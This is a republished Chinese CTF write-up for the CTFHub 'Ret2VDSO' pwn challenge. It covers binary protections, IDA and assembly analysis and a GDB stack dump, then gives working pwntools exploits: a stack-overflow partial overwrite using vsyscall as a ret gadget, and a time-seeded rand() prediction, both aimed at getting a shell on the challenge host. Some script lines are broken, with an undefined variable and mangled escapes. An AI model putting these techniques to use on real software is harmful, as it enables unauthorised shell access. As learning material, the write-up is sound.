[Pwn]CTFHUB-Ret2VDSO

admin 2023年3月12日20:48:35评论23 views字数 10238阅读34分7秒阅读模式

目录

  • 保护检查

  • IDA静态分析

    • 伪代码分析

    • 汇编代码分析

  • GDB调试分析

  • 分析总结

  • 可利用漏洞

  • 1.栈溢出利用

    • 利用思路

    • 利用原理

  • 2.srand(seed)的不安全引用

    • 利用思路

    • 利用原理

  • 1.使用栈溢出漏洞GetShell

  • 2.使用不安全的seed引用Getshell



保护检查

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

IDA静态分析

伪代码分析

int getint()
{
//buf大小为16字节
  char buf[16]; // [rsp+0h] [rbp-10h] 
//仅允许用户输入8个字节
  read(0, buf, 8uLL);
  return atoi(buf);//将输入转为数字并返回
}

int menu()
{
  puts("------welcome------");
  puts("1.get gift");
  puts("2.overflow");
  puts("3.exit");
  puts("[+]give me your choice:");
  return getint();
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int seed; // eax
  int inputNum; // ebx
  char buf[56]; // [rsp+0h] [rbp-50h] BYREF
  int choice; // [rsp+38h] [rbp-18h]
  int counter; // [rsp+3Ch] [rbp-14h]

  setvbuf(_bss_start, 0LL, 20LL);
  setvbuf(stdin0LL, 10LL);
  counter = 2;
  do
  {
    if ( !counter )//如果counter为0则结束循环
      break;
    choice = menu();//获取用户输入
    if ( choice == 1 )
    {
      --counter;
      puts("input num:");
      seed = time(0LL);//将当前时间戳作为seed【不安全的引用】
      srand(seed);
      inputNum = getint();//获取用户输入【注意是先获取seed后才等待输入】
      if ( inputNum == rand() )//对比输入和rand结果,如果一致则直接getshell
        system("/bin/sh");
    }
    if ( choice == 2 )
    {
      --counter;
      puts("hello from ctfhub");
      read(0, buf, 0xD0uLL);//【栈溢出】
    }
  }
  while ( choice != 3 );//即使输入3也会再跑一次循环【逻辑错误】
  return 0;
}

汇编代码分析

.text:0000000000000A38     ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000000A38 public main
.text:0000000000000A38 main proc near ; DATA XREF: _start+1D↑o
.text:0000000000000A38
.text:0000000000000A38 buf= byte ptr -50h
.text:0000000000000A38 choice= dword ptr -18h
.text:0000000000000A38 counter= dword ptr -14h
.text:0000000000000A38
.text:0000000000000A38 ; __unwind {
.text:0000000000000A38 push rbp
.text:0000000000000A39 mov rbp, rsp
.text:0000000000000A3C push rbx
.text:0000000000000A3D sub rsp, 48h
.text:0000000000000A41 ; 8: setvbuf(_bss_start, 0LL, 2, 0LL);
.text:0000000000000A41 mov rax, cs:__bss_start
.text:0000000000000A48 mov ecx, 0 ; n
.text:0000000000000A4D mov edx, 2 ; modes
.text:0000000000000A52 mov esi, 0 ; buf
.text:0000000000000A57 mov rdi, rax ; stream
.text:0000000000000A5A call _setvbuf
.text:0000000000000A5A
.text:0000000000000A5F ; 9: setvbuf(stdin, 0LL, 1, 0LL);
.text:0000000000000A5F mov rax, cs:stdin@@GLIBC_2_2_5
.text:0000000000000A66 mov ecx, 0 ; n
.text:0000000000000A6B mov edx, 1 ; modes
.text:0000000000000A70 mov esi, 0 ; buf
.text:0000000000000A75 mov rdi, rax ; stream
.text:0000000000000A78 call _setvbuf
.text:0000000000000A78
.text:0000000000000A7D ; 10: v8 = 2;
.text:0000000000000A7D mov [rbp+counter], 2
.text:0000000000000A84 jmp loc_B10
.text:0000000000000A84
.text:0000000000000A89 ; ---------------------------------------------------------------------------
.text:0000000000000A89 ; 15: choice = getInput();
.text:0000000000000A89
.text:0000000000000A89 loc_A89: ; CODE XREF: main+DC↓j
.text:0000000000000A89 mov eax, 0
.text:0000000000000A8E call printMenu ; 打印菜单并获取用户输入数字
.text:0000000000000A8E ; 1:getGift,判断用户输入和随机数是否相同
.text:0000000000000A8E ; 2:overflow,栈溢出
.text:0000000000000A8E ; 3:结束
.text:0000000000000A8E
.text:0000000000000A93 mov [rbp+choice], eax
.text:0000000000000A96 ; 16: if ( choice == 1 )
.text:0000000000000A96 cmp [rbp+choice], 1
.text:0000000000000A9A jnz short loc_ADE
.text:0000000000000A9A
.text:0000000000000A9C ; 18: --v8;
.text:0000000000000A9C sub [rbp+counter], 1
; ↓↓↓↓↓↓↓↓↓↓用户输入为1,getGift↓↓↓↓↓↓↓↓↓↓
.text:0000000000000AA0 ; 19: puts("input num:");
.text:0000000000000AA0 lea rdi, aInputNum ; "input num:"
.text:0000000000000AA7 call _puts
.text:0000000000000AA7
.text:0000000000000AAC ; 20: seed = time(0LL);
.text:0000000000000AAC mov edi, 0 ; timer
.text:0000000000000AB1 call _time
.text:0000000000000AB1
.text:0000000000000AB6 ; 21: srand(seed);
.text:0000000000000AB6 mov edi, eax ; seed
.text:0000000000000AB8 call _srand
.text:0000000000000AB8
.text:0000000000000ABD ; 22: inputNum = getInputNumber();
.text:0000000000000ABD mov eax, 0
.text:0000000000000AC2 call getInputNumber
.text:0000000000000AC2
.text:0000000000000AC7 mov ebx, eax
.text:0000000000000AC9 ; 23: if ( inputNum == rand() )
.text:0000000000000AC9 call _rand
.text:0000000000000AC9
.text:0000000000000ACE cmp ebx, eax
.text:0000000000000AD0 jnz short loc_ADE
.text:0000000000000AD0
.text:0000000000000AD2 ;system("/bin/sh");getShell代码位于mainAD2处
.text:0000000000000AD2 lea rdi, command ; "/bin/sh"
.text:0000000000000AD9 call _system
; ↑↑↑↑↑↑↑↑↑↑↑用户输入为1:getGift↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:0000000000000AD9
.text:0000000000000ADE ; 26: if ( choice == 2 )
.text:0000000000000ADE
.text:0000000000000ADE loc_ADE: ; CODE XREF: main+62↑j
.text:0000000000000ADE ; main+98↑j
.text:0000000000000ADE cmp [rbp+choice], 2
.text:0000000000000AE2 jnz short loc_B0A
; ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓用户输入为2:overflow↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
.text:0000000000000AE2
.text:0000000000000AE4 ; 28: --v8;
.text:0000000000000AE4 sub [rbp+counter], 1
.text:0000000000000AE8 ; 29: puts("hello from ctfhub");
.text:0000000000000AE80 lea rdi, aHelloFromCtfhu ; "hello from ctfhub"
.text:0000000000000AEF call _puts
.text:0000000000000AEF
.text:0000000000000AF4 ; 30: read(0, buf, 0xD0uLL);
.text:0000000000000AF4 lea rax, [rbp+buf]
.text:0000000000000AF8 mov edx, 0D0h ; nbytes
.text:0000000000000AFD mov rsi, rax ; buf
.text:0000000000000B00 mov edi, 0 ; fd
.text:0000000000000B05 call _read
; ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑用户输入为2:overflow↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:0000000000000B05
.text:0000000000000B0A ; 33: while ( choice != 3 );
.text:0000000000000B0A
.text:0000000000000B0A loc_B0A: ; CODE XREF: main+AA↑j
.text:0000000000000B0A cmp [rbp+choice], 3
.text:0000000000000B0E jz short loc_B1C
.text:0000000000000B0E
.text:0000000000000B10 ; 13: if ( !v8 )
.text:0000000000000B10
.text:0000000000000B10 loc_B10: ; CODE XREF: main+4C↑j
.text:0000000000000B10 cmp [rbp+counter], 0
.text:0000000000000B14 ; 14: break;
.text:0000000000000B14 jnz loc_A89
.text:0000000000000B14
.text:0000000000000B1A jmp short loc_B1D
.text:0000000000000B1A
.text:0000000000000B1C ; ---------------------------------------------------------------------------
.text:0000000000000B1C
.text:0000000000000B1C loc_B1C: ; CODE XREF: main+D6↑j
.text:0000000000000B1C nop
.text:0000000000000B1C
.text:0000000000000B1D ; 34: return 0;
.text:0000000000000B1D
.text:0000000000000B1D loc_B1D: ; CODE XREF: main+E2↑j
.text:0000000000000B1D mov eax, 0
.text:0000000000000B22 add rsp, 48h
.text:0000000000000B26 pop rbx
.text:0000000000000B27 pop rbp
.text:0000000000000B28 retn
.text:0000000000000B28 ; } // starts at A38
.text:0000000000000B28
.text:0000000000000B28 main endp

GDB调试分析

以下是main函数初始化完后的栈构造

00:0000│ rsp 0x7fffffffdd00 ◂— 0xd30 /* '0r' */
01:0008│     0x7fffffffdd08 —▸ 0x7fffffffe1c9 ◂— 0x29aea5211c50d76b
02:0010│     0x7fffffffdd10 —▸ 0x7ffff7fc1000 ◂— jg     0x7ffff7fc1047 //此处是VDSO基址
03:0018│     0x7fffffffdd18 ◂— 0x10101000000
04:0020│     0x7fffffffdd20 ◂— 0x2
05:0028│     0x7fffffffdd28 ◂— 0x78bfbff
06:0030│     0x7fffffffdd30 —▸ 0x7fffffffe1d9 ◂— 0x34365f363878 /* 'x86_64' */
07:0038│     0x7fffffffdd38 ◂— 0x64 /* 'd' */
08:0040│     0x7fffffffdd40 ◂— 0x1000
09:0048│     0x7fffffffdd48 ◂— 0x0
0a:0050│ rbp 0x7fffffffdd50 ◂— 0x1
0b:0058│     0x7fffffffdd58 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov    edi, eax
0c:0060│     0x7fffffffdd60 ◂— 0x0
0d:0068│     0x7fffffffdd68 —▸ 0x555555400a38 (main) ◂— 0xec834853e5894855 //main函数起点,a38处

分析总结

除了Canary之外的保护都开了,由于开启了PIE无法直接获悉具体指令地址,所以无法直接构建ROP

根据IDA静态分析可知

  • main函数分支 1 中存在不安全的引用以及system(/bin/sh)调用
  • main函数分支 2 中存在栈溢出漏洞
  • main函数分支 3 存在逻辑错误

根据汇编分析得知

system调用位于main函数中低2字节为0x0AD2

结合调试分析的栈构造可知

位于RBP-0x18处是main函数地址
位于RSP+0x10处是VDSO基址

漏洞利用及原理

可利用漏洞

  • 栈溢出漏洞
  • 不安全的srand->seed引用

1.栈溢出利用

根据分析可知以下三个关键点

  • main分支2中存在栈溢出并且足以覆盖至RBP-0x80
  • RBP-0x18处为main函数地址
  • system("/bin/sh")调用位于main函数末2字节0xAD2

利用思路

填充payload至RBP,寻找retGadget并填充至RBP+0x8RBP+0x10处,使用Partial Write覆写位于RBP+0x18处的main函数末2字节为0x0AD2,使main函数结束后连续ret至system调用处并成功getShell; 但是由于程序开启了PIE保护,并且没有可泄露地址的漏洞存在,所以常规ROPGadget无法使用,考虑使用vsyscall作为retGadget

利用原理

vsyscall 是第一种也是最古老的一种用于加快系统调用的机制,它是Linux内核在用户空间映射的一块包含一些变量和系统调用实现的内存页,对于X86_64的架构可以在 Linux 内核的 文档: https://github.com/torvalds/linux/blob/master/Documentation/x86/x86_64/mm.txt找到关于这一内存区域的信息:
ffffffffff600000 - ffffffffffdfffff (=8 MB) vsyscalls


或在GDB中 vmmap
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]


cat /proc/1/maps | grep vsyscal
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]


对于这个实现方法,成功在本地打通并且getShell,但是在远程却并不适用,题目名叫做Ret2VDSO,直接使用Vsyscall我也觉得应该不是出题人本意,但是我并没有完全理解VDSO和该程序的利用,也没有找到相关类似题目的WP,根据我对vsyscallvdso的理解推测或许是靶机上压根就没有vsyscall,所以对于栈溢出的利用仅到此为止;

补充-爆破VDSO基址

我曾尝试爆破VDSO基址,并加上0x5FC作为偏移来作为RetGadGet,但是这个方法不论是在远程还是本地都没成功,原因是在x64下,该地址有3个字节也既12位是随机的,不同于x32下仅有1字节,爆破概率是1/256;在本程序中爆破概率低达1/16777216,在绞尽脑汁想不出如何通过栈溢出来打通该程序时,确实抱着侥幸尝试过爆破VDSO基址,但不论本地还是远程最终都没能打通,即使打通了本地,也许我找的VDSO文件的ret偏移0x5FC在远程上也并不适用,所以我最终放弃了

2.srand(seed)的不安全引用

根据分析可知以下三点

  • main函数中根据rand生成的数字和用户输入数字比对,若相等则调用system("/bin/sh")
  • 用户输入仅允许输入8位数字
  • rand的seed是根据time(0)生成的

利用思路

编写C程序提前生成出下一次结果小于9位数时间戳rand结果,在EXP中检查time()==targetTime后发出rand结果,使判断成功并且getShell

利用原理

由于程序中的seed根据time()来生成,所以这是可以被预估的,只需要提前预估未来的某一个符合rand结果小于9位数用户可输入的时间戳并且等时间到时发送内容即可

Exploit

1.使用栈溢出漏洞GetShell

from pwn import *

prog = "./ret2vdso"

local = False
context(os='linux', arch='amd64', log_level='debug')

if local:
 p = process(prog)
 #gdb.attach(p,"b *main+0x7E x0a c x0a")
 #sleep(1)
else:
 p = remote("challenge-580595dffc0d543f.sandbox.ctfhub.com",25533)


vsys = 0xffffffffff600000
payload = b"x00"*88
payload += p64(vsys)*2 + p16(0xAD2)
r.sendafter("[+]give me your choice:n""2")
r.sendafter("hello from ctfhubn",payload)
r.interactive()

2.使用不安全的seed引用Getshell

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(){
 int randNum = 99999999+1;
 long cTime = time(0)+15;
 while(randNum > 99999999){ 
  srand(cTime);
  randNum = rand();
  if(randNum <= 99999999){
   break;
  }
  cTime = cTime+1;
 }
 printf("Time:%ldn",cTime);
 printf("rand:%dn",randNum);
 printf("rand:0x%xn",randNum);
 return 0;
}
from pwn import *
from time import *

prog = "./ret2vdso"

local = False
context(os='linux', arch='amd64', log_level='debug')

if local:
 p = process(prog)
 #gdb.attach(p,"b *main+0x7E x0a c x0a")
 #sleep(1)
else:
 p = remote("challenge-580595dffc0d543f.sandbox.ctfhub.com",25533)

targetTime = 1678511159
targetRand = str(995880)
firstTime = 0

while True:
 if(int(time()) == targetTime+1):#为什么+1下面有解释,远程可能存在挖网络延迟之类影响所以可能无法一次打通,需要多次尝试
  p.sendafter("[+]give me your choice:n","1"#此处需要注意在玩家选择分支1后time()就已经被调用
  firstTime = time()
  break;

p.recvuntil("input num:n")
print("use Time : {}".format(time() - firstTime))#根据比对发现远程和本地两次发送数据间隔差距不大,但是在本地调试中却发现targetTime比程序调用的time要大1,所以在targetTime处+1
p.send(targetRand)

p.interactive()
p.close()

总结

关于VDSO

我对该机制的理解还是过于浅显,以至于无法用出题人希望的方式解出这道题,目 前这题作为遗留问题,在我理解深入后再回过头来思考这题的解法

查找VDSO文件

find / -name '*vdso*.so*'

原文始发于微信公众号(ACT Team):[Pwn]CTFHUB-Ret2VDSO

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日20:48:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Pwn]CTFHUB-Ret2VDSOhttps://cn-sec.com/archives/1599601.html

发表评论

匿名网友 填写信息